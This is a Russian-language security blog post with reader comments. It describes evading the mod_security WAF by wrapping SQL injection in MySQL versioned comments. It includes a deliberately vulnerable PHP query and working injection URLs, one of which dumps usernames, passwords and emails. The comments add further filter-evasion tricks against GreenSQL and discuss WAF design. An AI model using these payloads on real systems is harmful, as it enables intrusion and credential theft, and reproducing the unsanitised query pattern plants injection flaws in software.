Метод, который попал мне сегодня на глаза в документации MySQL, поражает своей простотой и тем, что я не замечал его раньше. Раскопанный способ по обходу WAF заключается в следующем. Сервер MySQL позволяет использовать комментарии вида:
/*!sql-code*/ и /*!12345sql-code*/
Как можно догадаться, и в том, и в другом случае sql-code будет выполнен из комментария! Во втором случае конструкция означает, что нужно выполнить "sql-code", если версия СУБД больше этого цифрового значения.
Как я уже неоднократно утверждал [1,2], некоторыми WAF’ами комментарии в процессе сигнатурного поиска игнорируются. К таким WAF, в том числе относиться и mod_security последней стабильной сборки (v. 2.5.9).
Простой пример:
...
$query = "SELECT name FROM table where id = ".$_GET[id];
$result = mysql_query($query);
...
Если Web-приложение защищено Mod_Security, то такой запрос не пройдет:
/?id=1+union+select+1
Примечательно, что даже такие (некорректные в данном примере) запросы блокируются WAF (техники HPP/HPF):
/?id=1+union/*&id=*/select+table_name+from+information_schema.columns
/?id=1+union/*&blabla1=*/select+table_name&blabla2=from+information_schema.columns
А вот воспользовавшись методом с комментариями, можно эксплуатировать SQL Injection, абсолютно прозрачно для фильтров Mod_Security:
/?id=1/*!limit+0+union+select+concat_ws(0x3a,table_name,column_name)+from+information_schema.columns*/
/?id=1/*!12345limit+0+union+select+concat_ws(0x3a,table_name,column_name)+from+information_schema.columns*/
/?id=1/*!limit+0+union+select+concat_ws(0x3a,username,password,email)+from+users*/
Собственно, метод в копилку :-)
Эм...
ОтветитьУдалитьhttp://www.securiteam.com/securityreviews/5KP0N1PC1W.html
Вот ;)
А еще в dsec опять Оракл поломал.
Да, староватый метод. Я его использовал для определения версии Mysql в блайндах.
ОтветитьУдалитьНу с сигнатурными WAF все понятно давно, насиловать труп можно бесконечно, но с учетом гибкости SQL-языка толку в этом чуть.
ОтветитьУдалитьА вот есть ли адекватные WAF, исповедующие другие принципы? Вплоть до наличия своего маленького SQL-интерпретатора и выполнения запроса с анализом того, к каким таблицам и откуда обращения. Ну или что-то в этом роде.
Я тоже такой вопрос задавал, в ключе обхода XSS (фильтрации JavaScript). В итоге не нашел ни одного со своим JS интерпретатором.
ОтветитьУдалитьА WAF основанные на поведенческом анализе я встречал. За основу берется нормальное поведение, скажем, в скрипте С чтение из таблицы А - нормально, если происходит чтение из таблицы Б, это считает аномальным.
Кстати, довольно известный метод.
ОтветитьУдалитьдаа, забавно. =) Про быстрое определение версии по комментариям конечно я помню, но в таком ключе не обдумывал эту фичу..
ОтветитьУдалить2d0znpp: и что, это были адекватные WAF или лабораторные эксперименты?
ОтветитьУдалитьНу а если скрипт для авторизации каждый раз, в любом скрипте читает из таблицы users, то это при таком подходе - нормальное поведение. Т.е. любая инъекция заточеная под получение пароля админа подозрения не вызовет. Спрашивается, ну и какой особый смысл в таком подходе, для общего случая? Чисто как примочка и всё.
ОтветитьУдалитьДаже если просто определять числовые параметры передаваемые в скрипт и паниковать, когда через них проходит строка - смысла будет больше.
По поводу "своего маленького SQL-интерпретатора" - тут стоит напомнить о GreenSQL. Если вкратце, то GreenSQL пытается анализировать поступащюий запрос и далее решает - пропускать его или нет.
ОтветитьУдалитьОднако, мне не кажется это вполне надёжным решением, т.к. когда я тестировал его, то запрос, где содержится mysql.user он не пропускал, а вот `mysql`.`user` ему уже оказался не по силам. И это не единственная такая неадекватность, UNI/**/ON он тоже не замечал.
Наверное, полноценно оценить риски можно только после самих последствий.
to d0znpp:
ОтветитьУдалитьТак я и не говорил, что метод новый... просто, про него как-то все позабыли. Кстати, спасибо за ссылку!
>> А WAF основанные на поведенческом анализе я встречал.
Есть тут очень много нюансов. Смотри, а если, например, есть 100-200 (>1000 и т.д.) запросов, которые выполняются очень редко, но они выполняются в легитимной логике работы приложения. Что тогда в этом случае делать администратору, для которого приложение – это черный ящик? При поведенческом подходе, администратору придется использовать «белые списки» т.е. это администратору приложения нужно будет постоянно пополнять свои списки. А оно ему надо?
кстати, приведи пример поведенческих waf...
to toxa:
>> А вот есть ли адекватные WAF, исповедующие другие принципы?
мне такие не встречались. Сейчас вот все ждем IBM Proventia IPS с функциями WAF. Может быть там содержится подобный функционал. А пока в IBM совещаются на тему, а стоит ли в Позитив давать свою железку:)))
to Тимур:
вот я и говорю, что вылетел как-то метод в этом ключе. Странно, что mod_security лажается на нем...
Про "positive security" и прочее колдунство.
ОтветитьУдалитьImperva совершенно волшебные вещи постулирует вплоть до автоматической корреляции запросов разных протоколов в трехзвенке (например, WEB и SQL), выделения ролей на их основе, закрепления и фильтрации на их основе.
Будет время, пошаманим.
старенький способ, америку не открыл, но все равно спасибо ;)
ОтветитьУдалить@all по поводу "сигнатурных WAF"
ОтветитьУдалитьImperva WebSphere самообучается и работает в режиме WAF очень продуктивно. Смотрел презентацию на Infosecurity 2009 по этой софтине на стенде ИЗ - реально впечатляет. Правда в бою скорей всего всё куда более уныло.
to Touzoku:
ОтветитьУдалить>> Правда в бою скорей всего всё куда более уныло.
вот вот:)